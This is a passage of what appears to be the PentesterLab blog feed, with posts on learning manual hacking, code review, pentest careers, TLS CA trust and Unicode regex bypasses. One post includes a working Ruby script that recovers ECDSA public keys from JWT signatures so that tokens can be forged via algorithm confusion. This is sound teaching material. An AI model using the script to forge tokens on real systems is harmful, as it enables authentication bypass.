                <blockquote class="twitter-tweet"><p lang="en" dir="ltr">As much as I appreciate jwt_tool, please don&#39;t use it to learn how to hack JWT. <br><br>You have the perfect opportunity to learn crypto-engineering and a lot of fascinating vulnerability classes.<br><br>Don&#39;t deprive yourself from this invaluable learning experience!</p>&mdash; Louis Nyffenegger (@snyff) <a href="https://twitter.com/snyff/status/1785162569906585946?ref_src=twsrc%5Etfw">April 30, 2024</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
                <p class="mt-6"></p>
                <p>This idea applies to a lot of areas in cybersecurity. Tools like SQLmap, SAMLRaider and jwt_tool just to name a few, are powerful, but they shouldn’t be your first choice when learning. Instead, they should be used to save time after you have a solid understanding of the basics. If you use these tools without understanding the underlying attacks, you will miss out on important learning.</p>
                <p>The automation provided by these tools is extremely convenient, but it can also stop you from learning the essential skills needed to understand and manually exploit these vulnerabilities:</p>
                <ol>
                  <li class="mb-2">Incomplete Understanding: If you rely on tools, you miss the learning process. For example, if you use SQLmap without understanding how SQL injections work, you won’t know how to create an attack payload, identify different types of SQL injections, or understand database error messages.</li>
                  <li class="mb-2">Tool Limitations: What happens if the tool fails? Tools are not perfect and can miss vulnerabilities or fail to exploit them. If you haven’t learned the manual techniques, you’ll be stuck when the tool doesn’t work.</li>
                  <li class="mb-2">Advanced Exploitation: Many tools handle only basic or well-known techniques. Understanding the fundamentals allows you to create advanced and custom exploits that can bypass protections tools might not account for.</li>
                  <li class="mb-2">What if the tool doesn’t support a specific attack or technology? You’ll need to revert to manual exploitation. Without manual skills, you’re back to square one. However, if you know how to do it manually, this becomes a minor hurdle rather than a major roadblock.</li>
                </ol>
                <p class="fw-bold">The knowledge and attack patterns you will discover by doing manual testing and exploitation can be applied to other technologies that may not have a tool yet.</p>
                <p>To become good at hacking, it’s important to embrace manual learning. Here are some steps to guide you:</p>
                <ol>
                  <li class="mb-2"><span class="fw-bold">Learn the Basics:</span> Start by learning the basic principles of the vulnerabilities you are targeting. Read about SQL injection, JWT vulnerabilities, XSS, CSRF, and more.</li>
                  <li class="mb-2"><span class="fw-bold">Practice Manually:</span> Practice finding and exploiting vulnerabilities manually. Build your own labs or use platforms like PentesterLab, whatever works best for you. This hands-on experience is extremely valuable.</li>
                  <li class="mb-2"><span class="fw-bold">Analyze Tools:</span> Once you understand the basics, look at how tools like Sqlmap and jwt_tool work. Examine the payloads they create and the methods they use to exploit vulnerabilities. This can give you insights into advanced techniques and automation.</li>
                  <li class="mb-2"><span class="fw-bold">Develop Your Own Tools:</span> Try writing your own scripts to automate parts of the exploitation process. This will deepen your understanding of the attacks and improve your programming skills.</li>
                </ol>
                <h5 class="fw-bold mt-4 mb-4">Learning to hack is a journey, not a race.</h5>
                <p>Don’t rush the process. Take the time to enjoy the learning experience and explore the fascinating world of hacking. Understanding the details of attacks not only makes you a better hacker but also helps you create more secure systems.</p>
                <p>By understanding the fundamentals and practicing manual exploitation, you build a strong foundation that tools can then enhance. Enjoy the journey and strive for a deeper understanding to become a more effective and versatile hacker.</p>
                <p>Happy Learning and Happy Hacking!</p>
            </div>  

]]>
      </description>
      <pubDate>Wed, 29 May 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/dont-let-tools-spoil-your-hacking-education</link>
      <guid>https://pentesterlab.com/blog/dont-let-tools-spoil-your-hacking-education</guid>
    </item>
    <item>
      <title>Beating the code review plateaux</title>
      <description>
        <![CDATA[            <div>
                <p>In every field, people eventually hit plateaux in their progression. Security code review is no different. In this article, we explore common reasons for these plateaux and how to overcome them!</p>
                <h5 class="fw-bold mt-4">1. You only use grep</h5>
                <p>A common reason for hitting a plateau is relying solely on “grep” to find bugs, hoping for quick wins. While “grepping for a bug” is a valid strategy, it’s not the best way to learn and improve your skills. This approach can also be very frustrating. Try to use grep less and spend more time actually reading the code. Remember, in security code review, you get out what you put in. Low effort leads to low reward!</p>
                <h5 class="fw-bold mt-4">2. You only search for vulnerabilities</h5>
                <p>Limiting yourself to searching for security issues can hinder your progression. You need to spend time and explore the codebase to understand its architecture and the developers’ style and common patterns. This broader understanding helps you find vulnerabilities that others might have missed. Simply searching for known vulnerabilities will only yield expected results. Reading and understanding the code can reveal the unknown unknowns.</p>
                <h5 class="fw-bold mt-4">3. You don’t go deep</h5>
                <p>Another plateau arises when you don’t spend enough time on the same code. Finding vulnerabilities requires discovering issues that developers and perhaps other security researchers overlooked. This requires deep focus on reading and re-reading the same sections of code. Browsing won’t cut it; you need to dive deep and get obsessed with specific lines of code to uncover hidden issues.</p>
                  <ul>
                    <li class="mb-3"><span class="fw-bold">Study CVEs:</span> Analyze patches to understand what was changed, what the vulnerable code looked like, and how issues were fixed.</li>
                    <li class="mb-3"><span class="fw-bold">Read documentation:</span> Gain a deeper understanding of the languages and frameworks you use to spot potential unexpected behaviours and pitfalls.</li>
                    <li class="mb-3"><span class="fw-bold">Fuzz code snippets:</span> Explore small pieces of code to find possible unexpected behaviours.</li>
                  </ul>

                <h5 class="fw-bold mt-4">5. You don’t do it enough</h5>
                <p>Consistent practice is crucial in security code review. To get better at uncovering vulnerabilities, you need regular practice not only to hone your skills but also to build your resilience. Enduring through periods when no bugs are found is key; your persistence during these dry spells often makes the difference. By continuing to search when others might give up, you increase your chances of finding more vulnerabilities.</p>

                <p>We hope this post gives you useful strategies to overcome the plateaux in your security code review journey. To further enhance your skills, make sure you check out PentesterLab’s <a href="https://pentesterlab.com/badges/codereview">Code Review</a> and <a href="https://pentesterlab.com/badges/java-code-review">Java Code Review</a> badges!</p>
        
            </div>  

]]>
      </description>
      <pubDate>Fri, 03 May 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/beating-the-code-review-plateaux</link>
      <guid>https://pentesterlab.com/blog/beating-the-code-review-plateaux</guid>
    </item>
    <item>
      <title>Interview with Ryan Montgomery aka 0day</title>
      <description>
        <![CDATA[          <div>
                <h5 class="fw-bold">Tell a bit more about yourself?</h5>
                <p>My name is Ryan Montgomery, also known in the cybersecurity world as 0day. I’ve been captivated by the world of computers and cybersecurity since I was a young kid, and that passion has only grown over time.</p>
                <p>I have spent most of my life in this field. My journey into cybersecurity began with self-learning, long before the educational platform “boom.”</p>
                <h5 class="fw-bold">How Did You Come Across PentesterLab PRO?</h5>
                <p>I was recommended to try out PentesterLab by a bug hunter named Naffy, and it turned out to be a game-changer for me. The platform offers a deep understanding of web vulnerabilities and more, going beyond mere exploitation.</p>
                <p>I loved it so much that I completed all the badges they offer. It’s one of the first resources I recommend when someone asks where to start.</p>
                <h5 class="fw-bold">What Have Been Your Favorite Exercises So Far?</h5>
                <p>PentesterLab has a wealth of JWT (JSON Web Tokens) exercises that have allowed me to understand not just how to exploit vulnerabilities but also why those vulnerabilities exist in the first place.</p>
                <h5 class="fw-bold">Do You Do Bug Bounty? And If Yes, Did PentesterLab Help You?</h5>
                <p>I do participate in bug bounty programs to some extent, but my primary focus has been on starting https://pentester.com. PentesterLab has been incredibly helpful in enhancing my skill set and has inspired me to be more creative.</p>
                <h5 class="fw-bold">What Exercises/Areas Do You Think PentesterLab Should Cover in the Future?</h5>
                <p>I would love to see more mobile-related exercises, especially focused on iOS. While there is a badge dedicated to Android, which is great, being well-rounded in both platforms would add value. Additionally, I’d appreciate exercises related to browser extension exploitation.</p>
                <h5 class="fw-bold">Where Did All This Lead You?</h5>
                <p>I was so inspired by my learning journey with PentesterLab that I went on to start my own cybersecurity company, https://pentester.com/. Whether you’re a beginner or a seasoned professional in cybersecurity, there’s always something new to learn, and platforms like PentesterLab make that learning both accessible and engaging.</p>
                <h5 class="fw-bold">Where Can People Follow Your Progress?</h5>
                <p>You can follow me on Instagram at @0day or connect with me on Twitter: @0dayCTF</p>
            </div>

]]>
      </description>
      <pubDate>Fri, 01 Sep 2023 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/interview-with-ryan-montgomery-aka-0day</link>
      <guid>https://pentesterlab.com/blog/interview-with-ryan-montgomery-aka-0day</guid>
    </item>
    <item>
      <title>Algorithm Confusion Attacks against JWT using ECDSA</title>
      <description>
        <![CDATA[            <div class="w-100">
            <div>
                <p>JSON Web Tokens (JWT) are widely used for authentication in modern applications. As their use increases, so does the importance of understanding common attacks against them, such as algorithm confusion attacks. For a long time, it was believed that exploiting this vulnerability required access to the public key. However, this changed when Bálint Varga-Perke published a blog post that altered the way most people thought about this attack. In this post, we will discuss how the same attack can be performed when the application uses ECDSA.</p>
                <h5 class="fw-bold">Algorithm Confusion Attacks on JWT:</h5>
                <p>Algorithm confusion attacks take advantage of the flexibility of JWT’s design, which allows for multiple signing algorithms. Attackers can exploit this by altering the algorithm in the JWT header to a different one and then forge a valid signature.</p>
                <p><i>PentesterLab offers a hands-on challenge that teaches you how to exploit this issue. Check it out here: <a href="https://pentesterlab.com/exercises/jwt-algorithm-confusion">JWT Algorithm Confusion</a></i></p>
                <p>Previously, it was believed that to exploit this vulnerability, access to the public key was necessary. However, Bálint’s blog post (https://blog.silentsignal.eu/2021/02/08/abusing-jwt-public-keys-without-the-public-key/) demonstrated that it is possible to recover the RSA public key using just a few signatures. With this knowledge, attackers can then sign tokens using HMAC.</p>
                <p><i>PentesterLab provides a hands-on challenge that teaches you how to exploit this issue. Check it out here: <a href="https://pentesterlab.com/exercises/jwt-algorithm-confusion-rsa-key-recovery">JWT Algorithm Confusion With RSA Key Recovery</a> </i></p>
                <h5 class="fw-bold">Exploiting ECDSA in Algorithm Confusion Attacks:</h5>
                <p>While a lot has been covered on algorithm confusion to go from RSA to HMAC, there has been little public discussion on how to perform the same attack when the application uses ECDSA.</p>
                <p>For those familiar with ECDSA or Blockchain technologies, it is known that going from a signature to (two) potential public keys is a trivial process. This opens the door for algorithm confusion attacks against JWT when ECDSA is used without having access to the public key. By leveraging the easily derived public keys, attackers can manipulate the JWT header and signature to exploit this vulnerability.</p>
                <p>The following code illustrates the recovery of the public key from a JWT token signed using ECDSA:</p>
            </div>  

                <pre class="w-100"><code class="language-ruby">require 'ecdsa'
require 'digest/sha2'
require 'openssl'
require 'base64'

# gem install ecdsa
# to get it working

# We take the token from the command line
token = ARGV[0]

# We use Secp256r1
group = ECDSA::Group::Secp256r1

# We split the token to get the data to digest and the signature
parts = token.split('.')
data=parts[0]+"."+parts[1]
signature_b64 = parts[2]

# we compute the 
digest = Digest::SHA2.digest(data)


# we create an ECDSA::Signature from the JWT signature 
signature_bytes = Base64.urlsafe_decode64(signature_b64)

r = ECDSA::Format::IntegerOctetString.decode signature_bytes[0..31]
s = ECDSA::Format::IntegerOctetString.decode signature_bytes[32..-1]
signature  = ECDSA::Signature.new(r,s)

# We recover all the potential keys in an array
keys = ECDSA.recover_public_key(group, digest, signature).to_a


# Finally, we use OpenSSL to get the keys in a pem format.
group = OpenSSL::PKey::EC::Group.new('prime256v1')
ec_key = OpenSSL::PKey::EC.new(group)

keys.each do |point| 
  ec_point = OpenSSL::PKey::EC::Point.new(group, ECDSA::Format::PointOctetString.encode(point))

  if  OpenSSL::VERSION =~ /\A3\./
          asn1 = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::Sequence([
              OpenSSL::ASN1::ObjectId("id-ecPublicKey"),
              OpenSSL::ASN1::ObjectId('prime256v1')
            ]),
            OpenSSL::ASN1::BitString(ec_point.to_octet_string(:uncompressed))
          ])
    ec_key = OpenSSL::PKey::EC.new(asn1.to_der)
  else
    ec_key.public_key = ec_point
  end
  puts ec_key.to_pem
end</code></pre>
            <p>Finally, as an attacker, you can sign the JWT using HMAC with the keys in the output of this script, then test each signature to determine which one allows you to forge tokens.</p>
            <p><i>As before, PentesterLab provides a hands-on challenge that teaches you how to exploit this issue. Check it out here: <a href="https://pentesterlab.com/exercises/jwt-algorithm-confusion-ecdsa-key-recovery">JWT Algorithm Confusion ECDSA Key Recovery</a></i></p>
            <p>As the use of JWT continues to grow, understanding the potential vulnerabilities and attack vectors is crucial for developers and security professionals. Algorithm confusion attacks are a significant threat, and as demonstrated by Bálint’s research and this blog, they can be exploited even without access to the public key.</p>
            </div>

]]>
      </description>
      <pubDate>Thu, 03 Aug 2023 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/exploring-algorithm-confusion-attacks-on-jwt-exploiting-ecdsa</link>
      <guid>https://pentesterlab.com/blog/exploring-algorithm-confusion-attacks-on-jwt-exploiting-ecdsa</guid>
    </item>
    <item>
      <title>A strategy to land your first pentest job</title>
      <description>
        <![CDATA[              <div>
                <p>In this blog post, we are going to cover a strategy to help you get a job as a pentester or application security professional.</p>
                <p>There is a lot of content on what you need to learn but not that much on what strategy you should follow.</p>
                <p>First, let’s say we have different levels of knowledge: level 0 to level 5. It is a totally arbitrary scale but I just want to illustrate my point.</p>
                <p><span class="fw-bold">Level 0</span> you know as much as anyone else who doesn’t work in security</p>
                <p><span class="fw-bold">Level 1</span> you know a bit more than the average person. You know some of the acronyms and can explain basic concepts. That is also the level where you should be careful as you feel like you know a lot but you’re just at the beginning of your journey</p>
                <p><span class="fw-bold">Level 2</span> is you can find bugs using automated tools or by just re-using payload and spamming every field in a page. At this level, if your tool doesn’t report an issue, you think there is no issue.</p>
                <p><span class="fw-bold">Level 3</span> is you are able to edit tools to change their behaviour, read a bit of code to understand what a tool is doing. You know how to debug a payload that doesn’t work.</p>
                <p><span class="fw-bold">Level 4</span> you are able to write advanced tools, derive new payloads and find bugs no one else found before.</p>
                <p><span class="fw-bold">Level 5</span> you master the domain. You publish bleeding edge research on the subject. Maybe did a talk at BlackHat on the subject or something.</p>
                <p>It’s very simple to go from level 0 to level 1. It is a bit harder to go from level 1 to level 2. A lot harder to go from 2 to 3. Even harder to jump from 3 to 4 and going to 4 to 5 is extremely hard.</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-01.png" alt="first progress graph" width="100%" height="100%" class="py-4">
                <p>As a side note, the interesting thing is that most people even in security have a hard time telling the difference between 3 and 4 and they can’t tell the difference between 4 and 5 aside from “this person did a talk at BlackHat”.</p>
                <p>Now let’s look at categories. Again completely arbitrary. Let’s divide pentest into the following categories:</p>
                <ul>
                  <li>Network</li>
                  <li>Web</li>
                  <li>Exploitation</li>
                  <li>Windows</li>
                  <li>Unix/Linux</li>
                </ul>

                <p>Now when you look at someone you admire in the industry, you feel like they are something like:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-02.png" alt="second progress graph" width="100%" height="100%" class="py-4">
                <p>In reality, they are more like (and that is for the best of the best):</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-03.png" alt="third progress graph" width="100%" height="100%" class="py-4">
                <p>Now let’s see how a lot of people learn pentest or appsec when they get started. Most people go level 1 in one category, level 1 in another, then level 1 across the board. They look a bit like this:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-04.webp" alt="fourth progress graph" width="100%" height="100%" class="py-4">
                <p>Then they move to level 2, level 2 in one category, level 2 in another category and they keep going:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-05.webp" alt="fifth progress graph" width="100%" height="100%" class="py-4">
                <p>But then they hit a wall when they want to get to level 3 and often look at other level 2 they should learn that are adjacent to pentesting. Maybe a bit of social engineering, maybe a bit of programming:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-06.webp" alt="sixth progress graph" width="100%" height="100%" class="py-4">
                <p>The problem is that they never reach that level 3. Level 3 is where you start to really doing interesting things like writing/reading simple code, debugging complex issues, questioning the output of tools, being able to give useful advice to others. You also have all these intra key-skills that will help you get into level 3 in other domains:</p>
                <ul>
                  <li>Being able to google things properly.</li>
                  <li>Actually reading error messages.</li>
                  <li>Not trusting the recommendations with the most votes on StackOverflow.</li>
                  <li>Using tools like docker.</li>
                  <li>Increase in velocity.</li>
                  <li>Deep understanding of complex subjects</li>
                  <li>Ability to comprehend trade-offs you may have to make.</li>
                  <li>You know what you don’t know.</li>
                  <li>...</li>
                </ul>
                
                <p>Now, let’s jump to the role of a team manager. When you are hiring juniors, you know that you’re not hiring the best pentesters. You are hiring the person who may become a great pentester. And you know (hopefully), that the hard part is not being a level 2 everywhere, it’s being able to become a level 3. You want junior who can demonstrate they managed to reach that level in one given field. Not necessarily across the field, just a subject in the field. But you are convinced that they are going to get there.</p>
                <p>The team manager already have some people in their team. If you look at their team it might look something like this:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-07.png" alt="seventh progress graph" width="100%" height="100%" class="py-4">
                <p>One person is level 2 across the board, that may be the manager. Then you have people who are level 2 and one level 3, or even level 4 and 5 if you are lucky.</p>
                <p>The magic is that if you get your team working together, you get to have a team that can work in all categories at level 3 or 4.</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-08.webp" alt="eigth progress graph" width="100%" height="100%" class="py-4">
                <p>If you are hiring, you also know that a lot of people make it to level 2. But not so many people go to level 3, 4 or 5. And you know that level 3, 4 or 5 in one category with blind spots is a lot better than level 2 across the board. Level 3 gives you shells other people may miss, level 3 gives you talks at local meetups, level 3 gives you cross-pollination as in your whole team getting better in a subject thanks to that one person.</p>
                <p>Down the track, your team will hopefully look like this:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-09.png" alt="nineth progress graph" width="100%" height="100%" class="py-4">
                <p>So let’s get back to you looking for a job, you would be better be a level 3 in one category instead of level 2 everywhere.</p>
                <p>You may say: “Being level 3 in one category is incredibly hard!” And you will be right! My advice is first to focus your time in one category and get to level 2. Then find one subject in this category in which you want to go deep. Stick to this subject until you can understand and reproduce bleeding-edge research. Stick to it until you can debug tools for it. Stick to it until you can read the source code of tools for it. Stick to it until you can talk about it at a local meetup. Stick to it until you can do some write-ups on it. Basically, stick to it until people feel you’re really good at it. And then move to another subject in the same category.</p>
                <p>Since a lot of work in pentesting is performing web testing and that a lot of people prefer to do internal testing (since it is like shooting fishes in a barrel). This is what most people should aim for:</p>
                <img src="/newdesign/imgs/blog-imgs/progress-graph-10.webp" alt="tenth progress graph" width="100%" height="100%" class="py-4">
                <p>But don’t make the same mistake too many people are doing: trying to fix your blind spots instead of building on your strength. If you’re a developer, pick something that is related to code. If you are a Windows sysadmin, pick something that is related to Windows security…</p>
                <p>To conclude, try to get really good at something instead of average at everything. This is where the bugs are and this is what will help you get a job.</p>

            </div>

]]>
      </description>
      <pubDate>Thu, 16 Dec 2021 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/a-strategy-to-land-your-first-pentest-job</link>
      <guid>https://pentesterlab.com/blog/a-strategy-to-land-your-first-pentest-job</guid>
    </item>
    <item>
      <title>How to start reviewing code?</title>
      <description>
        <![CDATA[            <div>
                <p>Too often (me included), savvy code reviewers recommend to get started into code review by “Just reading code” and that is indeed the best way to get started. It is a simple answer but it lacks one extremely important detail that most people who have been reviewing code for a while often forget about:</p>
                <h4 class="ms-5 my-5 fw-normal">What code should I start with?</h4>
                <p>The first step when getting into code review is to find a few good targets. This is critical as you don’t want to start too hard and be discouraged. You want to start with something simple and build up your confidence. Some people may be able to start hard and start with reviewing Kubernetes’ source code, but for the majority of people (me included), this is just paving the way to failure.</p>
                <p>To build your understanding and to keep progressing without being frustrated, it is good to start with small snippets. Ideally really small snippets of vulnerable code like the ones PentesterLab provides in the <a href="https://pentesterlab.com/badges/codereview">Code Review badge</a>. Try to start with your favourite language or the one you are the most confident in and build your confidence up.</p>
                <h4 class="ms-5 my-5 fw-normal">Look at patches you can extract from looking at CVE.</h4>
                <p>If you don’t have access to PentesterLab snippets (and this is step 2 if you do), a good alternative is to look at patches you can extract from looking at CVE. You can for example follow security mailing lists of a few open source software you are using. I personally find the mailing list from the Apache foundation (covering all the Apache projects not just Apache httpd) and the Ruby-on-Rails security mailing-list to be great starting points. The Apache mailing-list will provide you with diversity both in terms of software, vulnerabilities and languages. The Ruby-on-Rails mailing-list will provide you extremely well documented issues making it easy to get started.</p>
                <h4 class="ms-5 my-5 fw-normal">Once you are confident (or bored) with reviewing patches, you can move to libraries.</h4>
                <p>As opposed to complete software, libraries are often small codebases that try to solve only one problem. Another advantage of libraries is that there often is more than one library in a given language. This allows you to review multiple implementations of the same thing and compare them. Making it easier to see what checks may be missing in one implementation. Libraries for things like JWT (you can find a few here: <a href="https://jwt.io/libraries">https://jwt.io/libraries</a>), Session management, File processing/upload… often make good first targets. You can then move to stronger targets like SAML or OAuth2 implementations once your confidence is up.</p>
                <p>Once libraries have no secret for you and you want to pick harder targets, you can move to classic software. Reviewing the entire codebase for a software may quickly get frustrating, starting with some common features may make things easier as you are increasing the intensity of your study. For example, reviewing user registration, password reset, password storage, file uploads… instead of reviewing all the codebase and getting frustrated.</p>
                <p>Then, instead of jumping to hard targets (Wordpress, PHPMyAdmin, Tomcat, Apache Httpd…), finding softer, less mature codebases may help you in your study. Codebases in the curated lists like “Awesome [Language]“ (for example “Awesome Golang”) are often a good place to start. Again, start with the language you feel the most familiar with (as a reviewer) and get started. Once you feel like you are competent at isolating vulnerable patterns in this language, you can move to codebases in other languages and apply those patterns.</p>
                <h4 class="ms-5 my-5 fw-normal">How to measure success?</h4>
                <p>Finally, make sure you measure success properly. You cannot measure your progress by wether or not you discover vulnerabilities. There may be nothing to be found. Instead try to measure your level of understanding of the code, the quantity and complexity of patterns you know about and can isolate, how easy it is for you to approach a new codebase… In the same way, velocity is not a great indicator of progress. You can get fast at reading code but if you don’t understand it or miss something, you are not really improving. It is all about quality over quantity, especially when you are studying. A lot of skilled code reviewers will tell you that they usually spend hours reading the same 50 lines of code and that number of lines of code per hour does not matter.</p>
                <p>And if you want to speed up your study, make sure you check out <a href="https://pentesterlab.com/pro">PentesterLab PRO</a>  and our code review badge!</p>
            </div>

]]>
      </description>
      <pubDate>Thu, 28 Oct 2021 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/how-to-start-reviewing-code</link>
      <guid>https://pentesterlab.com/blog/how-to-start-reviewing-code</guid>
    </item>
    <item>
      <title>Who do you trust?</title>
      <description>
        <![CDATA[<div>
 <h4 class="ms-md-5 my-5 fw-normal">I recently found a small issue in some TLS clients. More precisely, it is more of a difference between what happens and what I expect to happen. Let’s dig in!?</h4>
  <p>When you use TLS, you can decide to use your own certificate authority (CA). Three main reasons:</p>
  <ol>
    <li>cheaper (arguable nowadays with https://letsencrypt.org/)</li>
    <li>easier (arguable nowadays with https://letsencrypt.org/)</li>
    <li>A compromise/malicious CA is in your threat model.</li>
  </ol>
  <p>If you pick #3, you should keep reading.</p>
  <p>In many TLS clients (curl, wget, httpie…) and libraries, you have options like cacert or capath (or similar). These options are used to trust one or many Certificate Authorities.</p>
  <p>When you run clients with one of these options, you pass the certificate or certificates you want to trust. But this is ambiguous, let’s see why.</p>
  <h4 class="ms-md-5 my-5 fw-normal">Some tools will add the CA provided to the list of authorities the system already trusts. Other tools will only trust the CA provided (and no longer trust the authorities that the system already trust).</h4>
  <p>So if you don’t want to trust your system’s CAs and use your own CA, you should make sure that all your TLS clients will not trust the system CAs even if you pass the « right » option.</p>
  <p>You can easily test this by generating a self-signed cert:</p>
</div>


  <pre class="w-100"><code>$ openssl req -newkey rsa:4096 -new -nodes -x509 -days 365 -out cert.pem -keyout key.pem -subj “/C=AU/ST=Victoria/L=Melbourne/O=PentesterLab/CN=pentesterlab.com”</code></pre>

<div class="align-self-start">
  <p>And try to connect to a site using this certificate.</p>
  <p>On Debian and Ubuntu, this should work:</p>
</div>

  <pre class="w-100 align-self-start"><code>$ curl — cacert=ca.pem https://pentesterlab.com</code></pre>

<div>
  <p>If you see an error message, you’re not trusted your system’s CAs (good). If you don’t see an error, you’re trusting your system’s CAs as well as ca.pem (not so good depending on your threat model).</p>
  <p>Again not a big deal. Just something that may surprise a few people (including me).</p>
  <p>As a developer, I kind of want that only my own CA be trusted when I use one of these options. If I want to trust my system CAs and my own CA, I will probably use different classes/functions for each use case and not mix them.</p>
</div>  


 
]]>
      </description>
      <pubDate>Wed, 03 Jun 2020 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/who-do-you-trust</link>
      <guid>https://pentesterlab.com/blog/who-do-you-trust</guid>
    </item>
    <item>
      <title>/i considered harmful</title>
      <description>
        <![CDATA[            <div>
                <p>After reading this <a href="https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/">blog post on a bug in Github and Unicode</a>, I started playing more and more with Unicode (even bought two domains).</p>
                <p>Recently, I had a Eureka moment while camping and started wondering: “what was the impact of those uppercase and lowercase transformations on regular expression?”</p>
                <h4 class="ms-md-5 my-5 fw-normal">And the response is straightforward: it depends!</h4>
                <p>First, let’s say your website wants to ensure that an URL provided is part of a list of trusted URLs (to avoid SSRF or as part of a CORS policy). Your website can use a list of predefined URLs, but this quickly gets tedious. So after a while, you decide to move to a regular expression. You check that the host in the URL ends with your domain. Your code looks something like this:</p>
            </div>  

                <pre class="align-self-start"><code>host =~ /domain.tld$/</code></pre>

            <div class="align-self-start">
                <p>For whatever reasons, you decide to add the <code>i</code> or <code>re.IGNORE_CASE</code> flag to make sure both <code>domain.tld</code> and <code>DOMAIN.TLD</code> will work (and even <code>DoMaIn.Tld</code>). Your regular expression ends up looking like:</p>
            </div>

            <pre class="align-self-start"><code>host =~ /domain.tld$/i</code></pre>

            <div>
              <p>This could also be used if you want to ensure an email address is part of your domain.</p>
            </div>

            <pre class="align-self-start mb-0"><code>email =~ /domain.tld$/i</code></pre>

            <div>
              <h4 class="ms-md-5 my-5 fw-normal">Now, a malicious user bought the domain domaın.tld what happens?</h4>
              <p>The domain <code>domaın.tld</code> contains a <u>LATIN SMALL LETTER DOTLESS I (U+0131)</u> in place of the <code>i</code>.</p>
              <p>The answer depends on the programming language used (and the version).</p>
              <p>In Python 3.8.1, <code>domaın.tld</code> <b>will match</b> <code>'domain.tld$', re.IGNORECASE</code>. ſ <b>will match</b> s and K (Kelvin sign) <b>will match</b> k</p>
              <p>In Ruby 2.7.0, <code>domaın.tld</code> <b>will NOT match</b> <code>/domain.tld$/i</code>. However, ſ <b>will match</b> s and K (Kelvin sign) <b>will match</b> k.</p>
              <p>In Golang 1.13.8, <code>domaın.tld</code> <b>will NOT match</b> <code>'(?i)domain.tld$'</code>. However, ſ <b>will match</b> s and K (Kelvin sign) <b>will match</b> k.</p>
              <p>In node 13.8.0, <code>domaın.tld</code> <b>will NOT match</b> <code>/domain.tld$/i</code>, ſ <b>will not match</b> s and K (Kelvin sign) <b>will not match</b> k.</p>
              <p>My advice, try to avoid using the <code>i</code> or <code>IGNORECASE</code> if you can for developers and make sure you test for this for pentesters and bounty hunters!</p>
            </div>

            

]]>
      </description>
      <pubDate>Thu, 26 Mar 2020 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/i-considered-harmful</link>
      <guid>https://pentesterlab.com/blog/i-considered-harmful</guid>
    </item>
    <item>
      <title>Articles worth-reading from 2019</title>
      <description>
        <![CDATA[
            <div class="w-100">
              <p>Every week, our twitter account <a href="https://twitter.com/pentesterlab">@PentesterLab</a> publishes a list of articles worth-reading. This is the list of all the articles for 2019. Enjoy!!</p>
              <h5 class="fw-bold">30/12/2019</h5>
                <p>🗞️ <a href="https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41">https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41</a></p>
              <h5 class="fw-bold">23/12/2019</h5>
                <p>🗞️ <a href="https://unit42.paloaltonetworks.com/what-i-learned-from-reverse-engineering-windows-containers/">https://unit42.paloaltonetworks.com/what-i-learned-from-reverse-engineering-windows-containers/</a></p>
                <p>🗞️ <a href="https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/">https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/</a></p>
                <p>🗞️ <a href="https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html">https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html</a></p>
                <p>🗞️ <a href="https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/">https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/</a></p>
              <h5 class="fw-bold">16/12/2019</h5>
                <p>🗞️ <a href="https://hipotermia.pw/bb/http-desync-idor">https://hipotermia.pw/bb/http-desync-idor</a></p>
                <p>🗞️ <a href="https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md#git-submodule-update-command-execution">https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md#git-submodule-update-command-execution</a></p>
                <p>🗞️ <a href="https://www.reddit.com/r/crypto/comments/e8t17w/comment/faerj2m">https://www.reddit.com/r/crypto/comments/e8t17w/comment/faerj2m</a></p>
                <p>🗞️ <a href="https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui">https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui</a></p>
                <p>🗞️ <a href="https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases">https://diverto.github.io/2019/11/18/Cracking-LUKS-passphrases</a></p>
              <h5 class="fw-bold">09/12/2019</h5>
                <p>🗞️ <a href="https://github.com/bkimminich/juice-shop/issues/1173#">https://github.com/bkimminich/juice-shop/issues/1173#</a></p>
                <p>🗞️ <a href="https://css.csail.mit.edu/6.858/2013/readings/plan9auth.pdf">https://css.csail.mit.edu/6.858/2013/readings/plan9auth.pdf</a></p>
                <p>🗞️ <a href="https://github.com/netanel01/ctf-writeups/blob/master/googlectf/2019/pwn_gomium/README.md">https://github.com/netanel01/ctf-writeups/blob/master/googlectf/2019/pwn_gomium/README.md</a></p>
                <p>🗞️ <a href="https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html?m=1">https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html?m=1</a></p>
